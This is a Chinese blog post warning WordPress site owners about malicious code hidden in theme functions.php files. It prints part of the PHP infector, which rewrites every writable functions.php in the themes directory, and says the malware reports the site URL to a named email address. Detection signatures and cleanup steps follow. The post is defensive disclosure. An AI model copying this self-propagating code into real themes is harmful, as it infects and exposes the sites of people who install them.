张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

不经意看到了哼哼猪的 《博主们注意了!赶快检查下你的 WordPress 里面是否包含恶意代码》一文,就好奇的检查了一下,结果。。。尼玛居然还真中招了!难怪老是觉得 WP 的后台卡卡的,一点都不流畅!而且后台提交文章经常会出现 502 或 503 的无法打开页面!估计就是这玩意在作祟!

下面内容摘自原文:

代码太长放到下面,先说说此段代码的来源和危害:

此段代码来源一般是在 WordPress 主题里面自带,可能免费主题、破解主题或者收费主题,大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。 再来大概说说它的工作原理,首先它会存在某一主题里面,当你启用调试此主题时,这段代码可以通过遍历获得你主题目录下的所有主题里面的 functions.php,并在 functions.php 文件结尾处的最后一个“?>”处自动添加下面的恶意病毒代码,如果恶意病毒代码添加成功,它会发送你博客的 url 地址到livethemas@gmail.com(可能大家没看到这个邮箱地址的添加位置,这就是它的巧妙之处,它将 email 地址拆分转义,然后用多重变量引用,下面的代码我已经用红色标注出了此 email 地址) 危害:单单从这段代码来说,也没什么大的问题,不过因为已经感染此代码且感染网址也发给了恶意病毒代码散播者,这样你的网站可能就会有选择成为下一步攻击目标。另外如果下面的代码不完整或者你的 Mysql 有一些安全限制会导致下面代码的一些项添加不完整,导致网站打开错误,其实这也是发现问题所在的原因。 小技巧:当你制作或使用一个安全主题时,你可以在 functions.php 文件结尾处的最后一个“?>”前添加上“//所有设置已完成”,这样如果被而已添加就能很快发现!

如何清除此段恶意病毒代码呢:

清理也很简单,直接在 functions.php 文件里面找到下面的代码删除即可,但因为一旦感染会导致你 themes 主题目录所有主题都感染,因此你只清除当前使用主题是无效的,你清除后很快就会生成,因此你清除掉一个主题的代码后,把 functions.php 文件设置为 444 权限,然后再清理其他主题即可。至于最后 functions.php 文件的 444 权限是否需要改回去,个人建议 444 挺好挺安全的,等要修改的时候再修改就行了。

functions.php 里面的恶意病毒代码实例如下(可能会有些差异,但基本代码是相同的):

<?php
function _verifyactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
// 代码太长,略之!
?>

这些代码存在于 wp-content/themes 下的所有主题的所有 functions.php 文件里。

通常以下面这些函数特征出现:

function _checkactive_widgets
function _get_allwidgets_cont
function stripos
function strripos
function scandir
add_action("admin_head", "_checkactive_widgets");
function _getprepare_widget
add_action("init", "_getprepare_widget");
function __popular_posts

现场说法:

我在检查后台主题 functions.php 时发现,我的博客居然也被感染了!

首先在知更鸟主题中发现大段的恶意代码,鸟哥做主题的时候明显是加上了{全部结束}的注释。后面的多余的内容我还一直以为是 WP 自己给加上的。。。。

然后,我打开了手机主题 Mobile pack 的 functions.php 看了下,发现居然也有!看来真是有传染性:

二话不说,果断删除全部恶意代码:

检查无误后,我开始做预防措施。将 2 个主题的 functions.php 的权限设置为 444,只允许读取,不允许写入:

恶意代码风波到此就告一段落了!看来以后不能随便测试主题了!像哼哼猪说的一样:大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。

我记录这篇博文的主要目的就是为了提醒和我一样不知情的 WordPress 菜鸟站长,赶紧检查一下你的 WP 是不是被注入饿了恶意代码!我敢说,不知情的博主,感染率估计能有 80%以上!尤其是经常换主题的博客!各位博友,赶紧检查下自己的博客,有则删之,无则预防!

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏FreeBuf

真实网站劫持案例分析

1. 概述 上段时间一直忙于处理大会安全保障与应急,借助公司云悉情报平台,发现并处置几十起网站被劫持的情况。对黑客SEO技术颇有感觉。正好这段时间有时间,把以前...

98950
来自专栏along的开发之旅

adb shell 如何选择特定的设备?

其实这个一查,stackoverflow或者百度谷歌一大把,比如这个“http://stackoverflow.com/questions/14654718/h...

8720
来自专栏云鼎实验室的专栏

安全研究 | Linux 遭入侵,挖矿进程被隐藏案例分析

45770
来自专栏hbbliyong

Windows 7笔记本创建wifi热点供手机上网教程

用智能手机的朋友会发现这样一个问题,智能手机比普通手机上网更耗流量。这是因为智能手机应用(软件)丰富,而且大部分应用都会自动联网。为此,许多人每月包了上百M的流...

38570
来自专栏晨星先生的自留地

提权(1)信息收集

39640
来自专栏编程

(4)Superset权限使用场景

如前文所述,Superset初始化权限之后,创建5个角色,分别为Admin,Alpha,Gamma,sql_lab以及Public。Admin,Alpha和Ga...

2.5K100
来自专栏SAP梦心的SAP分享

【SAP业务模式】之ICS(七):IDOC配置

     这是ICS业务模式系列的最后一篇了,主要讲解IDOC的配置。      一、指定EDI传输的供应商逻辑地址      事务代码:WEL1 ?     ...

22870
来自专栏dotnet & java

WCF入门(9)

前些天往手机里面放了几集WCF入门视频,今天用暴风影音看了一下,发现极其不清楚,图像被严重压缩了,正愁是不是试试迅雷影音之类的软件时,想到了系统不是自带了播放器...

8910
来自专栏张戈的专栏

PHP跨站脚本攻击(XSS)漏洞修复方法(一)

今天又做了一回奥特曼(out man),居然才发现 360 的综合搜索变成了好搜!前几天,其实看到过一次好搜,但是以为又是 DNS 劫持出现的流氓搜索。 今天细...

1K60
来自专栏FreeBuf

一次对个人服务器入侵事件的调查

这一切还要从我收到的通知邮件:“Your server is sending spam”说起。首先要说的是,这台服务器是用来运行之前项目的静态网站,并不保存关键...

42150

扫码关注云+社区

领取腾讯云代金券